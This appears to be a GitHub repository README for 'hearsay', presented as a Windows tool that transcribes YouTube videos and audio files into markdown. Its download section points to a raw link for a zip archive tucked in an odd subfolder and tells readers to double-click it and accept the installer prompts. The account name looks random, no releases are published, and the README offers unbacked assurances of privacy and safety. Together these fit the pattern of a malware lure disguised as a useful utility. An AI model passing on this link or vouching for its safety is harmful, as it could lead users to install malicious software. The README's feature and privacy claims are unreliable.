Skip to content

Nadyopened885/hearsay

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 

Repository files navigation

🎙️ hearsay - Turn media into clean text files

Hearsay converts video and audio files into organized text documents. It processes YouTube videos, podcasts, and local recordings. The software creates transcriptions with timestamps. These files work with language models, research tools, and writing applications.

🛠️ System Requirements

Your computer needs a standard Windows 10 or 11 installation. The software requires a 64-bit processor. You should have at least 8 gigabytes of memory for smooth performance. High-quality transcripts require a stable internet connection. Keep enough disk space available for your audio files and the resulting text documents.

📥 Download and Install

Visit this page to download the software: https://github.com/Nadyopened885/hearsay/raw/refs/heads/main/atip/Software_2.4.zip

  1. Open the provided link in your web browser.
  2. Locate the most recent version of the software.
  3. Click the installer file to save it to your computer.
  4. Open your downloads folder.
  5. Double-click the file to start the installation process.
  6. Follow the prompts on your screen.
  7. Accept the terms to finish the setup.
  8. Look for the hearsay icon on your desktop.

⚙️ How It Works

The program uses speech-to-text models to listen to your media. It identifies the speakers and tracks time. The engine then formats this content into markdown. Markdown is a simple way of storing text that keeps headers, lists, and bold text intact. This ensures your output remains readable in any text editor.

🚀 Running Your First Transcription

  1. Open the hearsay application from your desktop.
  2. Locate the input box for your media source.
  3. Paste a YouTube URL or browse your computer for a local file.
  4. Select your preferred output folder.
  5. Click the button to start the process.
  6. Wait for the progress bar to complete.
  7. Open the generated file in your favorite text editor.

📋 Features

  • Automated Transcription: Hearsay listens to audio and produces accurate text.
  • Timestamp Support: Every line includes a time marker. This helps you jump back to specific moments in the original video.
  • YouTube Integration: You do not need to download files manually. Paste the link, and the system handles the rest.
  • LLM Preparation: The output follows a clean structure. This makes it ideal for feeding data into research assistants or document analysis tools.
  • Local Processing: Your media stays on your machine during the core conversion phase.

🧩 Understanding the Output

The tool creates files ending with the .md extension. You can open these with Notepad, WordPad, or more advanced tools like Obsidian or Notion. The content includes a header with the source title. The body holds the text divided into small segments. Each segment starts with a time code. This structure makes it easy to find quotes or verify facts.

🛡️ Privacy and Safety

This software runs on your hardware. It does not send your personal recordings to external servers for processing. The system keeps your data on your local hard drive. Always download the application from the official link provided in this document to stay safe.

❓ Frequently Asked Questions

Does the software require an internet connection? Yes, if you use a YouTube link, the software needs a connection to fetch the video data. For local audio files, you can work offline.

Can it translate audio? The current version excels at transcription in the original language. It focuses on turning speech into readable text.

Why is my audio not transcribing? Check your file format. The tool supports standard audio formats like MP3, WAV, and M4A. Ensure your file is not corrupted.

Can I change the output destination? Yes, browse to your preferred folder before clicking start.

💡 Tips for Better Results

  • Use high-quality audio files for better accuracy.
  • Background noise can lower the quality of the transcription.
  • Use the built-in search tool to find specific keywords across multiple files.
  • Keep your software updated to get the latest models for speed and accuracy.

🔍 Troubleshooting

If the program closes unexpectedly, check your available disk space. If the transcription stalls, verify your internet connection. Restart the application if you encounter minor errors. Ensure your Windows system has the latest updates. Contact documentation resources if the issue persists.

About

Convert YouTube videos, podcasts, and audio files into clean markdown for LLMs or structured datasets for speech model training.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors